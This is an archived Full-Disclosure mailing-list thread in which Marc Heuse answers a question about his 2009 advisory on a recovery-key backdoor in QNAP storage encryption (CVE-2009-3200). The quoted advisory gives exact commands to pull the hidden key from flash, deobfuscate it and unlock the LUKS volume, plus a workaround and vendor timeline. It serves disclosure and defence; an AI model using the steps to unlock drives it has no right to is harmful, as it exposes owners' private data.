[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] Advisory: Crypto backdoor in Qnap storage devices (CVE-2009-3200)

Hi Rohit,

SSH access with admin access is what is required (usually the only account
on the system available for the owner for administrative login).
It's the same account and password as for the web GUI, which authentication
is by default in plain text (no HTTPS) ... ... ...

However, the encryption is rather a theft protection, as the encrypted
volume is usually mounted. So if someone is able to hack into the device,
there is no need to exploit the crypto backdoor.

However a someone obtaining the device physically - thief, law enforcement,
industrial espionage, ... - they are the primary purpose for encrypted the
hard drives in that product, and they would exploit this backdoor.

Greets,
Marc

Rohit Patnaik schrieb:
> How feasible is it for a user to gain network access to the network 
> device?  Is it just a matter of gaining access via SSH?  Or is there 
> something more that a malicious user has to do?
> 
> --Rohit Patnaik
> 
> Marc Heuse wrote:
>> ________________________________________________________________________
>>
>> Title: Crypto backdoor in Qnap storage devices
>> Date:  18 September 2009
>> URL:
>> http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt
>>
>> ________________________________________________________________________
>>
>> Vendor:                QNAP Systems
>> Products (verified):   TS-239 Pro, TS-639 Pro
>> Products (unverified): SS-439 Pro, TS-439 Pro, TS-439U-SP/RP,
>>                        TS-509 Pro, SS-839 Pro, TS-809 Pro, TS-809U-RP
>> Vulnerability:         hard disk encryption bypass due recovery key
>> Affected Releases:     3.1.1 0815, 3.1.0 0627, 2.1.7 0613,
>>                        and presumably all other
>> Severity:              Moderate/High
>> CVE:                   CVE-2009-3200
>>
>> ________________________________________________________________________
>>
>> Overview:
>>
>>   The premium and new line of QNAP network storage solutions allow
>>   for full hard disk encryption. When rebooting, the user has to
>>   unlock the hard disk by supplying the encryption passphrase via
>>   the web GUI.
>>
>>   However, when the hard disk is encrypted, a secondary key is
>>   created, added to the keyring, and stored in the flash with minor
>>   obfuscation.
>>
>>
>> Impact:
>>
>>   The encrypted hard disk can be unlocked and potential sensitive
>>   contents access by attackers who obtain physical or network
>>   access to the hard disk and flash.
>>
>>
>> Description:
>>
>>   When a user selects in the web GUI to encrypt a hard drive, he
>>   has to supply a passphrase of 8-16 length.
>>   The Qnap solution is to use the underlying Linux standard
>>   mechanisms of LUKS to create the encrypted partition.
>>   The user supplied passphrase is crypt(3)'ed with the MD5 salt
>>   of $1$YCCaQNAP$ and used as the initial key to access the LUKS
>>   master key for the drive.
>>
>>   Additionally, the system creates a second key, which is 32
>>   characters long and contains all low case characters and the
>>   numbers 0-9, and adds it to the LUKS keyring:
>>   /sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \
>>       --key-file=/tmp/temp.rUBxFo
>>
>>   Before writing the second key to the flash, the key is then
>>   obfuscated in the following way:
>>   the first six characters are reversed and written to the end
>>   of the string.
>>   The obfuscated string is then written to the flash (/dev/sdx6
>>   on current Qnap storage devices) in the ENCK variable.
>>
>>
>> Exploit:
>>
>>   An attacker - or user who has lost his passphrase - just needs
>>   to do the following:
>>
>>   1. Obtain the backdoor key from the flash:
>>        #  strings /dev/sdx6 | grep ENCK
>>        ENCK=ghijklmnopqrstuvwxyz012345fedcba
>>      It is possible that several ENCK keys show up.
>>
>>   2. The key has then to be deobfuscated. The last 6 characters have
>>      to be taken, reversed, and put in front of the string:
>>
>>      ENCK key before: ghijklmnopqrstuvwxyz012345fedcba
>>      ENCK key after:  abcdefghijklmnopqrstuvwxyz012345
>>
>>   3. The key file has to be created:
>>        # echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key
>>
>>   4. The encrypted volume is unlocked and mounted. The device is
>>      usually /dev/md0 or /dev/sda3.
>>        # /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key
>>        key slot 0 unlocked.
>>        Command successful.
>>        # mount /dev/mapper/md0 /share/MD0_DATA
>>      Full access to the encrypted volume has been obtained.
>>
>>
>> Additional Weaknesses:
>>
>>   The backdoor key is generated by rand() calls. As the rand()
>>   function produces random numbers unsuitable for cryptographic
>>   keys. The cryptographic strength of this generated key is
>>   approx 2^32, hence feasible for breaking. This would make
>>   access to the flash unnecessary.
>>
>>   The LUKS partition is created in AES-256 in plain CBC mode. This
>>   mode is susceptible to watermark attacks.
>>
>>
>> Solution:
>>
>>   No fix is available from the vendor yet and scheduled for the
>>   following month.
>>
>>   The official company statement is:
>>   "The security notice from Baseline Security was received by Qnap
>>   on the 16th September 2009 and rated as important.
>>   Currently, a new and enhanced firmware version is already in
>>   testing. An update is planned for the following month"
>>
>>   As this was implemented on purpose by the vendor, and feedback
>>   from the taiwanese development team was scarce, it was decided
>>   to publish the information to put public pressure on the company
>>   to ensure not only supplying a quick update, but also announcing
>>   the issue properly so users see the need for installed the
>>   coming imporant firmware update.
>>
>>   It was proposed to the vendor to remove the key from the keyring
>>   as described in the workaround section.
>>   Additionally the ENCK values in the flash should be overwritten.
>>
>>   Once a firmware update is available, it will be tested that it
>>   removes the crypto backdoor.
>>   Watch the advisory URL for updates:
>>
>> http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt
>>
>>
>> Workaround:
>>
>>   There is no workaround available which can be used by a novice
>>   user.
>>
>>   The best solution is to remove the backdoor key from keyslot 0.
>>   However this requires hashing the user passphrase. For this, a
>>   Linux system has to be available, which has the "mkpasswd" command
>>   installed (whois package).
>>   Execute:
>>     # mkpasswd --hash=md5 --salt='YCCaQNAP'
>>   and enter the password on the Password: prompt. Copy the outout.
>>
>>   On the Qnap device, create the keyfile with the password hash:
>>     # echo -n "...the output of mkpasswd..." > /tmp/mykey
>>
>>   Now remove the backdoor key:
>>     # /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey
>>
>>   Remove all sensitive data, wipe the shell history, and logoff:
>>     # echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey
>>     # rm /tmp/mykey /tmp/key
>>     # HISTSIZE=0
>>     # exit
>>
>>   As an additional measure, the flash can be edited and the saved
>>   key overwritten (this requires the ipkg package installed).
>>   Install a hex editor, run the hexeditor on the flash, and
>>   overwrite ENCK values:
>>     # ipkg install hexcurse
>>     # hexcurse /dev/sdx6
>>     (a hex editor window is loading)
>>     Type Control-F, then 454e434b and hit Enter.
>>     Use the cursor keys to the character string after the "ENCK="
>>     string and then type in as many "A" characters, until the string
>>     is full. Type Control-S to save, adn Control-Q to quit.
>>
>>   Please note that no liability is given whatsoever by anyone
>>   if the workaround is used. It is recommended to be performed
>>   by experienced users only.
>>
>>
>> Original Vendor FUD:
>>
>>   "The functionality for encryption the hard disk does not include
>>    a crypto backdoor."
>>   (in response to a user question why two keyslots are allocated,
>>   and if this is because of a backdoor)
>>   http://forum.qnap.com/viewtopic.php?f=11&t=11214&start=20#p63346
>>   http://forum.qnap.com/viewtopic.php?f=12&t=12104&start=10#p63341
>>
>> ________________________________________________________________________
>>
>> Credit:
>>
>>   Analysis performed thanks to the ultimate binary analysis tool
>>   BinNavi by Zynamics, and the great - and free - IDA Pro
>>   Dissassembler 4.9 by Datarescue.
>>
>>   Greets to the teams at Red Database Security, Recurity Labs,
>>   THC and n.runs.
>>
>> ________________________________________________________________________
>>
>> Vendor communication:
>>
>>   10 September 2009   Issue posted in the Qnap support forum
>>
>>   15 September 2009   Notification on crypto backdoor sent directly
>>                       to Qnap to force a response, giving 72 hours
>>                       to explain why the backdoor exists, when and
>>                       how it will be removed, and how this
>>                       information will be made available to the users.
>>
>>   15 September 2009   Qnap support contact confirms notification,
>>                       and informs of forwarding to support team
>>                       in Taiwan for clarification
>>
>>   16 September 2009   Phone cann from Qnap representive, stating
>>                       this issue is a high priority
>>
>>   18 September 2009   No statement from Qnap was given on why the
>>                       backdoor exists and if and when it will be
>>                       removed.
>>
>>   18 September 2009   This advisory is released
>>
>> ________________________________________________________________________
>>
>> Contact:
>>
>> mh@xxxxxxxxxxxxxxxxxxxx
>>
>> Baseline Security Consulting
>> http://www.baseline-security.de
>>
>> ________________________________________________________________________
>>
>> The information provided is released "as is" without warranty of
>> any kind. The publisher disclaims all warranties, either express or
>> implied, including all warranties of merchantability.
>> No responsibility is taken for the correctness of this information.
>> In no event shall the publisher be liable for any damages whatsoever
>> including direct, indirect, incidental, consequential, loss of
>> business profits or special damages, even if the publisher has been
>> advised of the possibility of such damages.
>>
>>
>> The contents of this advisory is copyright (c) 2009 by Marc Heuse
>> and may be distributed freely provided that no fee is charged for
>> the distribution and proper credit is given.
>>
>> ________________________________________________________________________
>>
>>
>>   
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> 

-- 
Marc Heuse
Mobil: +49 177 9611560
Fax: +49 30 28097468
www.baseline-security.de

Baseline Security Consulting
Chausseestr. 15
10115 Berlin

Ust.-Ident.-Nr.: DE244222388
PGP: D069 301E B401 828C 4E72  0BEA D9C9 6088 36F2 A05E

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/